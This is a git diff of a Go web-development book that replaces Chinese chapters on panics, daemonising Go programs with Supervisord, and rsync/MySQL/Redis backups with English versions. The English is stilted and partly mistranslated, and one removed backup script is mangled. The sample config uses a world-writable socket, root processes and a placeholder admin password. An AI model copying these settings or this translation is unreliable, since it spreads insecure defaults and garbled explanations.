+但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。 + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。 + +## 小结 +本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。 +## links + * [目录]() + * 上一章: [应用日志](<12.1.md>) + * 下一节: [应用部署](<12.3.md>) diff --git a/en/12.3.md b/en/12.3.md index 6e77e104..0d439c39 100644 --- a/en/12.3.md +++ b/en/12.3.md @@ -1,181 +1,193 @@ -# 12.3 应用部署 -程序开发完毕之后,我们现在要部署Web应用程序了,但是我们如何来部署这些应用程序呢?因为Go程序编译之后是一个可执行文件,编写过C程序的读者一定知道采用daemon就可以完美的实现程序后台持续运行,但是目前Go还无法完美的实现daemon,因此,针对Go的应用程序部署,我们可以利用第三方工具来管理,第三方的工具有很多,例如Supervisord、upstart、daemontools等,这小节我介绍目前自己系统中采用的工具Supervisord。 -## daemon -目前Go程序还不能实现daemon,详细的见这个Go语言的bug:<`http://code.google.com/p/go/issues/detail?id=227`>,大概的意思说很难从现有的使用的线程中fork一个出来,因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。 - -但是我们可以看到很多网上的一些实现daemon的方法,例如下面两种方式: - -- MarGo的一个实现思路,使用Commond来执行自身的应用,如果真想实现,那么推荐这种方案 - - d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") - if *d { - cmd := exec.Command(os.Args[0], - "-close-fds", - "-addr", *addr, - "-call", *call, - ) - serr, err := cmd.StderrPipe() - if err != nil { - log.Fatalln(err) - } - err = cmd.Start() - if err != nil { - log.Fatalln(err) - } - s, err := ioutil.ReadAll(serr) - s = bytes.TrimSpace(s) - if bytes.HasPrefix(s, []byte("addr: ")) { - fmt.Println(string(s)) - cmd.Process.Release() - } else { - log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) - cmd.Process.Kill() - } - } - -- 另一种是利用syscall的方案,但是这个方案并不完善: - - package main - - import ( - "log" - "os" - "syscall" - ) - - func daemon(nochdir, noclose int) int { - var ret, ret2 uintptr - var err uintptr - - darwin := syscall.OS == "darwin" - - // already a daemon - if syscall.Getppid() == 1 { - return 0 - } - - // fork off the parent process - ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) - if err != 0 { - return -1 - } - - // failure - if ret2 < 0 { - os.Exit(-1) - } - - // handle exception for darwin - if darwin && ret2 == 1 { - ret = 0 - } - - // if we got a good PID, then we call exit the parent process. - if ret > 0 { - os.Exit(0) - } - - /* Change the file mode mask */ - _ = syscall.Umask(0) - - // create a new SID for the child process - s_ret, s_errno := syscall.Setsid() - if s_errno != 0 { - log.Printf("Error: syscall.Setsid errno: %d", s_errno) - } - if s_ret < 0 { - return -1 - } - - if nochdir == 0 { - os.Chdir("/") - } - - if noclose == 0 { - f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) - if e == nil { - fd := f.Fd() - syscall.Dup2(fd, os.Stdin.Fd()) - syscall.Dup2(fd, os.Stdout.Fd()) - syscall.Dup2(fd, os.Stderr.Fd()) - } - } - - return 0 - } - -上面提出了两种实现Go的daemon方案,但是我还是不推荐大家这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。 - -## Supervisord -上面已经介绍了Go目前是有两种方案来实现他的daemon,但是官方本身还不支持这一块,所以还是建议大家采用第三方成熟工具来管理我们的应用程序,这里我给大家介绍一款目前使用比较广泛的进程管理软件:Supervisord。Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序,而且可以方便的通过命令开启、关闭、重启等操作,而且它管理的进程一旦崩溃会自动重启,这样就可以保证程序执行中断后的情况下有自我修复的功能。 - ->我前面在应用中踩过一个坑,就是因为所有的应用程序都是由Supervisord父进程生出来的,那么当你修改了操作系统的文件描述符之后,别忘记重启Supervisord,光重启下面的应用程序没用。当初我就是系统安装好之后就先装了Supervisord,然后开始部署程序,修改文件描述符,重启程序,以为文件描述符已经是100000了,其实Supervisord这个时候还是默认的1024个,导致他管理的进程所有的描述符也是1024.开放之后压力一上来系统就开始报文件描述符用光了,查了很久才找到这个坑。 - -### Supervisord安装 -Supervisord可以通过`sudo easy_install supervisor`安装,当然也可以通过Supervisord官网下载后解压并转到源码所在的文件夹下执行`setup.py install`来安装。 - -- 使用easy_install必须安装setuptools - - 打开`http://pypi.python.org/pypi/setuptools#files`,根据你系统的python的版本下载相应的文件,然后执行`sh setuptoolsxxxx.egg`,这样就可以使用easy_install命令来安装Supervisord。 - -### Supervisord配置 -Supervisord默认的配置文件路径为/etc/supervisord.conf,通过文本编辑器修改这个文件,下面是一个示例的配置文件: - - ;/etc/supervisord.conf - [unix_http_server] - file = /var/run/supervisord.sock - chmod = 0777 - chown= root:root - - [inet_http_server] - # Web管理界面设定 - port=9001 - username = admin - password = yourpassword - - [supervisorctl] - ; 必须和'unix_http_server'里面的设定匹配 - serverurl = unix:///var/run/supervisord.sock - - [supervisord] - logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) - logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) - logfile_backups=10 ; (num of main logfile rotation backups;default 10) - loglevel=info ; (log level;default info; others: debug,warn,trace) - pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) - nodaemon=true ; (start in foreground if true;default false) - minfds=1024 ; (min. avail startup file descriptors;default 1024) - minprocs=200 ; (min. avail process descriptors;default 200) - user=root ; (default is current user, required if root) - childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) - - [rpcinterface:supervisor] - supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface - - ; 管理的单个进程的配置,可以添加多个program - [program:blogdemon] - command=/data/blog/blogdemon - autostart = true - startsecs = 5 - user = root - redirect_stderr = true - stdout_logfile = /var/log/supervisord/blogdemon.log - -### Supervisord管理 -Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl,命令使用解释如下: - -- supervisord,初始启动Supervisord,启动、管理配置中设置的进程。 -- supervisorctl stop programxxx,停止某一个进程(programxxx),programxxx为[program:blogdemon]里配置的值,这个示例就是blogdemon。 -- supervisorctl start programxxx,启动某个进程 -- supervisorctl restart programxxx,重启某个进程 -- supervisorctl stop all,停止全部进程,注:start、restart、stop都不会载入最新的配置文件。 -- supervisorctl reload,载入最新的配置文件,并按新的配置启动、管理所有进程。 - -## 小结 -这小节我们介绍了Go如何实现daemon化,但是由于目前Go的daemon实现的不足,需要依靠第三方工具来实现应用程序的daemon管理的方式,所以在这里介绍了一个用python写的进程管理工具Supervisord,通过Supervisord可以很方便的把我们的Go应用程序管理起来。 - - -## links - * [目录]() - * 上一章: [网站错误处理](<12.2.md>) - * 下一节: [备份和恢复](<12.4.md>) +# 12.3 Deployment + +After completion of the development program, we now want to deploy Web applications, but how do we deploy these applications do ? Because after compiling Go programs is an executable file, written a C program using daemon readers must know you can achieve the perfect background program runs continuously, but still not perfect at present Go realization daemon, therefore, for a Go application deployment, we can use third-party tools to manage, there are many third-party tools, such as Supervisord, upstart, daemon tools, etc. This section describes my own system using current tools Supervisord. + +## Daemon + +Currently Go programs can not be achieved daemon, see the Go detailed language bug: <`http://code.google.com/p/go/issues/detail?id=227`>, probably mean that it is difficult from the the use of existing fork a thread out, because there is no simple way to ensure that all the threads have used state consistency problem. + +But we can see some implementations daemon many online methods, such as the following two ways: + +- MarGo an implementation of the idea of using Command to run their own applications, if you really want to achieve, it is recommended that such programs + +
+	d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
+	if *d {
+		cmd := exec.Command(os.Args[0],
+			"-close-fds",
+			"-addr", *addr,
+			"-call", *call,
+		)
+		serr, err := cmd.StderrPipe()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		err = cmd.Start()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		s, err := ioutil.ReadAll(serr)
+		s = bytes.TrimSpace(s)
+		if bytes.HasPrefix(s, []byte("addr: ")) {
+			fmt.Println(string(s))
+			cmd.Process.Release()
+		} else {
+			log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
+			cmd.Process.Kill()
+		}
+	}
+
+ +- Another solution is to use the syscall, but this solution is not perfect: + +``` + package main + + import ( + "log" + "os" + "syscall" + ) + + func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 + } +``` + +The above proposed two implementations Go's daemon program, but I still do not recommend you to realize this, because the official announcement has not officially support daemon, of course, the first option is more feasible for now, but it is currently open source library skynet in adopting this program do daemon. + +## Supervisord + +Go has been described above, there are two options currently are to realize his daemon, but the government itself does not support this one, so it is recommended that you use sophisticated tools to manage our third-party applications, here I'll give you a present more extensive use of process management software: Supervisord. Supervisord is implemented in Python a very useful process management tool. supervisord will help you to manage applications into daemon process, but can be easily turned on via the command, shut down, restart, etc, and it is managed by the collapse will automatically restart once the process so that you can ensure that the program execution is interrupted in the case there are self-healing capabilities. + +> I stepped in front of a pit in the application, because all applications are made Supervisord parent born, then when you change the operating system file descriptor after, do not forget to restart Supervisord, light restart following application program useless. I just had the system installed after the first installed Supervisord, then start the deployment process, modify the file descriptor, restart the program, that the file descriptor is already 100,000, but in fact Supervisord this time or the default 1024, led him to manage the process All descriptors is 1024. pressure after opening up the system to start a newspaper run out of file descriptors, search for a long time to find the pit. + +### Supervisord installation + +Supervisord can `sudo easy_install supervisor` installation, of course, can also Supervisord official website to download, unzip and go to the folder where the source code, run `setup.py install` to install. + +- Must be installed using easy_install setuptools + +Open the `http://pypi.python.org/pypi/setuptools# files`, depending on your system version of python download the appropriate file, and then execute `sh setuptoolsxxxx.egg`, so that you can use easy_install command to install Supervisord. + +### Supervisord Configure + +Supervisord default configuration file path is `/etc/supervisord.conf`, through a text editor to modify this file, the following is a sample configuration file: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web management interface settings + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; Must 'unix_http_server' match the settings inside + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + ; Manage the configuration of a single process, you can add multiple program + [program: blogdemon] + command =/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile =/var/log/supervisord/blogdemon.log + +### Supervisord management + +After installation is complete, there are two Supervisord available command line supervisor and supervisorctl, command explained as follows: + +- Supervisord, initial startup Supervisord, start, set in the configuration management process. +- Supervisorctl stop programxxx, stop one process(programxxx), programxxx for the [program: blogdemon] in configured value, this example is blogdemon. +- Supervisorctl start programxxx, start a process +- Supervisorctl restart programxxx, restarting a process +- Supervisorctl stop all, stop all processes, Note: start, restart, stop will not load the latest configuration files. +- Supervisorctl reload, load the latest configuration file, and press the new configuration to start, manage all processes. + +## Summary + +This section we describe how to implement daemon of the Go, but due to the current lack of Go-daemon implementation, need to rely on third-party tools to achieve the application daemon management approach, so here describes a process using python to write management tools Supervisord by Supervisord can easily put our Go up and application management. + + +## Links + +- [Directory](preface.md) +- Previous section: [Errors and crashes](12.2.md) +- Next section: [Backup and recovery](12.4.md) diff --git a/en/12.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..4e7b4b10 --- /dev/null +++ b/en/12.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,181 @@ +# 12.3 应用部署 +程序开发完毕之后,我们现在要部署Web应用程序了,但是我们如何来部署这些应用程序呢?因为Go程序编译之后是一个可执行文件,编写过C程序的读者一定知道采用daemon就可以完美的实现程序后台持续运行,但是目前Go还无法完美的实现daemon,因此,针对Go的应用程序部署,我们可以利用第三方工具来管理,第三方的工具有很多,例如Supervisord、upstart、daemontools等,这小节我介绍目前自己系统中采用的工具Supervisord。 +## daemon +目前Go程序还不能实现daemon,详细的见这个Go语言的bug:<`http://code.google.com/p/go/issues/detail?id=227`>,大概的意思说很难从现有的使用的线程中fork一个出来,因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。 + +但是我们可以看到很多网上的一些实现daemon的方法,例如下面两种方式: + +- MarGo的一个实现思路,使用Commond来执行自身的应用,如果真想实现,那么推荐这种方案 + + d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") + if *d { + cmd := exec.Command(os.Args[0], + "-close-fds", + "-addr", *addr, + "-call", *call, + ) + serr, err := cmd.StderrPipe() + if err != nil { + log.Fatalln(err) + } + err = cmd.Start() + if err != nil { + log.Fatalln(err) + } + s, err := ioutil.ReadAll(serr) + s = bytes.TrimSpace(s) + if bytes.HasPrefix(s, []byte("addr: ")) { + fmt.Println(string(s)) + cmd.Process.Release() + } else { + log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) + cmd.Process.Kill() + } + } + +- 另一种是利用syscall的方案,但是这个方案并不完善: + + package main + + import ( + "log" + "os" + "syscall" + ) + + func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 + } + +上面提出了两种实现Go的daemon方案,但是我还是不推荐大家这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。 + +## Supervisord +上面已经介绍了Go目前是有两种方案来实现他的daemon,但是官方本身还不支持这一块,所以还是建议大家采用第三方成熟工具来管理我们的应用程序,这里我给大家介绍一款目前使用比较广泛的进程管理软件:Supervisord。Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序,而且可以方便的通过命令开启、关闭、重启等操作,而且它管理的进程一旦崩溃会自动重启,这样就可以保证程序执行中断后的情况下有自我修复的功能。 + +>我前面在应用中踩过一个坑,就是因为所有的应用程序都是由Supervisord父进程生出来的,那么当你修改了操作系统的文件描述符之后,别忘记重启Supervisord,光重启下面的应用程序没用。当初我就是系统安装好之后就先装了Supervisord,然后开始部署程序,修改文件描述符,重启程序,以为文件描述符已经是100000了,其实Supervisord这个时候还是默认的1024个,导致他管理的进程所有的描述符也是1024.开放之后压力一上来系统就开始报文件描述符用光了,查了很久才找到这个坑。 + +### Supervisord安装 +Supervisord可以通过`sudo easy_install supervisor`安装,当然也可以通过Supervisord官网下载后解压并转到源码所在的文件夹下执行`setup.py install`来安装。 + +- 使用easy_install必须安装setuptools + + 打开`http://pypi.python.org/pypi/setuptools#files`,根据你系统的python的版本下载相应的文件,然后执行`sh setuptoolsxxxx.egg`,这样就可以使用easy_install命令来安装Supervisord。 + +### Supervisord配置 +Supervisord默认的配置文件路径为/etc/supervisord.conf,通过文本编辑器修改这个文件,下面是一个示例的配置文件: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web管理界面设定 + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; 必须和'unix_http_server'里面的设定匹配 + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + + ; 管理的单个进程的配置,可以添加多个program + [program:blogdemon] + command=/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile = /var/log/supervisord/blogdemon.log + +### Supervisord管理 +Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl,命令使用解释如下: + +- supervisord,初始启动Supervisord,启动、管理配置中设置的进程。 +- supervisorctl stop programxxx,停止某一个进程(programxxx),programxxx为[program:blogdemon]里配置的值,这个示例就是blogdemon。 +- supervisorctl start programxxx,启动某个进程 +- supervisorctl restart programxxx,重启某个进程 +- supervisorctl stop all,停止全部进程,注:start、restart、stop都不会载入最新的配置文件。 +- supervisorctl reload,载入最新的配置文件,并按新的配置启动、管理所有进程。 + +## 小结 +这小节我们介绍了Go如何实现daemon化,但是由于目前Go的daemon实现的不足,需要依靠第三方工具来实现应用程序的daemon管理的方式,所以在这里介绍了一个用python写的进程管理工具Supervisord,通过Supervisord可以很方便的把我们的Go应用程序管理起来。 + + +## links + * [目录]() + * 上一章: [网站错误处理](<12.2.md>) + * 下一节: [备份和恢复](<12.4.md>) diff --git a/en/12.4.md b/en/12.4.md index 347e99cd..62e6098a 100644 --- a/en/12.4.md +++ b/en/12.4.md @@ -1,174 +1,185 @@ -# 12.4 备份和恢复 -这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。 - -## 应用备份 -在大多数集群环境下,Web应用程序基本不需要备份,因为这个其实就是一个代码副本,我们在本地开发环境中,或者版本控制系统中已经保持这些代码。但是很多时候,一些开发的站点需要用户来上传文件,那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存,这样即使系统崩溃,只要我们的文件还在云存储上,至少数据不会丢失。 - -如果我们没有采用云储存的情况下,如何做到网站的备份呢?这里我们介绍一个文件同步工具rsync:rsync能够实现网站的备份,不同系统的文件的同步,如果是windows的话,需要windows版本cwrsync。 - -### rsync安装 -rysnc的官方网站:http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然,因为rsync是一款非常有用的软件,所以很多Linux的发行版本都将它收录在内了。 - -软件包安装 - - # sudo apt-get install rsync 注:在debian、ubuntu 等在线安装方法; - # yum install rsync 注:Fedora、Redhat、CentOS 等在线安装方法; - # rpm -ivh rsync 注:Fedora、Redhat、CentOS 等rpm包安装方法; - -其它Linux发行版,请用相应的软件包管理方法来安装。源码包安装 - - tar xvf rsync-xxx.tar.gz - cd rsync-xxx - ./configure --prefix=/usr ;make ;make install 注:在用源码包编译安装之前,您得安装gcc等编译工具才行; - -### rsync配置 -rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。 - -关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站,下面介绍服务器端和客户端如何开启 - -- 服务端开启: - - #/usr/bin/rsync --daemon --config=/etc/rsyncd.conf - - --daemon参数方式,是让rsync以服务器模式运行。把rsync加入开机启动 - - echo 'rsync --daemon' >> /etc/rc.d/rc.local - - 设置rsync密码 - - echo '你的用户名:你的密码' > /etc/rsyncd.secrets - chmod 600 /etc/rsyncd.secrets - - -- 客户端同步: - - 客户端可以通过如下命令同步服务器上的文件: - - rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup - - 这条命令,简要的说明一下几个要点: - - 1. -avzP是啥,读者可以使用--help查看 - 2. --delete 是为了比如A上删除了一个文件,同步的时候,B会自动删除相对应的文件 - 3. --password-file 客户端中/etc/rsyncd.secrets设置的密码,要和服务端的 /etc/rsyncd.secrets 中的密码一样,这样cron运行的时候,就不需要密码了 - 4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名 - 5. 这条命令中的 192.168.145.5 为服务端的IP地址 - 6. ::www,注意是2个 : 号,www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。 - - 为了让同步实时性,可以设置crontab,保持rsync每分钟同步,当然用户也可以根据文件的重要程度设置不同的同步频率。 - - -## MySQL备份 -应用数据库目前还是MySQL为主流,目前MySQL的备份有两种方式:热备份和冷备份,热备份目前主要是采用master/slave方式(master/slave方式的同步目前主要用于数据库读写分离,也可以用于热备份数据),关于如何配置这方面的资料,大家可以找到很多。冷备份的话就是数据有一定的延迟,但是可以保证该时间段之前的数据完整,例如有些时候可能我们的误操作引起了数据的丢失,那么master/slave模式是无法找回丢失数据的,但是通过冷备份可以部分恢复数据。 - -冷备份一般使用shell脚本来实现定时备份数据库,然后通过上面介绍rsync同步非本地机房的一台服务器。 - -下面这个是定时备份mysql的备份脚本,我们使用了mysqldump程序,这个命令可以把数据库导出到一个文件中。 - - #!/bin/bash - - # 以下配置信息请自己修改 - mysql_user="USER" #MySQL备份用户 - mysql_password="PASSWORD" #MySQL备份用户的密码 - mysql_host="localhost" - mysql_port="3306" - mysql_charset="utf8" #MySQL编码 - backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3") - backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹 - expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭 - expire_days=3 #过期时间天数 默认为三天,此项只有在expire_backup_delete开启时有效 - - # 本行开始以下不需要修改 - backup_time=`date +%Y%m%d%H%M` #定义备份详细时间 - backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间 - backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期 - backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径 - welcome_msg="Welcome to use MySQL backup tools!" #欢迎语 - - # 判断MYSQL是否启动,mysql没有启动则备份退出 - mysql_ps=`ps -ef |grep mysql |wc -l` - mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l` - if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then - echo "ERROR:MySQL is not running! backup stop!" - exit - else - echo $welcome_msg - fi - - # 连接到mysql数据库,无法连接则备份退出 - mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password < $backup_dir/$dbname-$backup_time.sql.gz` - flag=`echo $?` - if [ $flag == "0" ];then - echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" - else - echo "database $dbname backup fail!" - fi - - done - else - echo "ERROR:No database to backup! backup stop" - exit - fi - # 如果开启了删除过期备份,则进行删除操作 - if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then - #`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;` - `find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf` - echo "Expired backup data delete complete!" - fi - echo "All database backup success! Thank you!" - exit - fi - -修改shell脚本的属性: - - chmod 600 /root/mysql_backup.sh - chmod +x /root/mysql_backup.sh - -设置好属性之后,把命令加入crontab,我们设置了每天00:00定时自动备份,然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。 - - 00 00 * * * /root/mysql_backup.sh - -## MySQL恢复 -前面介绍MySQL备份分为热备份和冷备份,热备份主要的目的是为了能够实时的恢复,例如应用服务器出现了硬盘故障,那么我们可以通过修改配置文件把数据库的读取和写入改成slave,这样就可以尽量少时间的中断服务。 - -但是有时候我们需要通过冷备份的SQL来进行数据恢复,既然有了数据库的备份,就可以通过命令导入: - - mysql -u username -p databse < backup.sql - -可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。 - -## redis备份 -redis是目前我们使用最多的NoSQL,它的备份也分为两种:热备份和冷备份,redis也支持master/slave模式,所以我们的热备份可以通过这种方式实现,相应的配置大家可以参考官方的文档配置,相当的简单。我们这里介绍冷备份的方式:redis其实会定时的把内存里面的缓存数据保存到数据库文件里面,我们备份只要备份相应的文件就可以,就是利用前面介绍的rsync备份到非本地机房就可以实现。 - -## redis恢复 -redis的恢复分为热备份恢复和冷备份恢复,热备份恢复的目的和方法同MySQL的恢复一样,只要修改应用的相应的数据库连接即可。 - -但是有时候我们需要根据冷备份来恢复数据,redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录,然后启动redis就可以了,redis在启动的时候会自动加载数据库文件到内存中,启动的速度根据数据库的文件大小来决定。 - -## 小结 -本小节介绍了我们的应用部分的备份和恢复,即如何做好灾备,包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件,MySQL数据库和redis数据库的备份和恢复,希望通过本小节的介绍,能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。 - -## links - * [目录]() - * 上一章: [应用部署](<12.3.md>) - * 下一节: [小结](<12.5.md>) +# 12.4 Backup and recovery + +This section we discuss another aspect of application management: production server data backup and recovery. We often encounter the production server network is broken, bad hard drive, operating system crash, or if the database is unavailable a variety of unusual circumstances, so maintenance personnel need to produce applications and data on the server to do remote disaster recovery, cold prepare hot standby ready. In the next presentation, explained how the backup application, how to backup/restore MySQL database and Redis databases. + +## Application Backup + +In most cluster environment, Web applications, the basic need for backup, because this is actually a copy of the code, we are in the local development environment, or the version control system has to maintain the code. But many times, a number of development sites require users to upload files, then we need for these users to upload files for backup. In fact, now there is a suitable approach is to put the needs and site-related files stored on the storage to the cloud storage, so even if the system crashes, as long as we still cloud file storage, at least the data is not lost. + +If we do not adopt cloud storage case, how to do a backup site do ? Here we introduce a file synchronization tool rsync: rsync backup site can be achieved in different file system synchronization, If the windows, then, need windows version cwrsync. + +### Rsync installation + +rsync 's official website: http://rsync.samba.org/can get the latest version from the above source. Of course, because rsync is a very useful software, so many Linux distributions will include it, including the. + +Package Installation + + # sudo apt-get install rsync ; Note: debian, 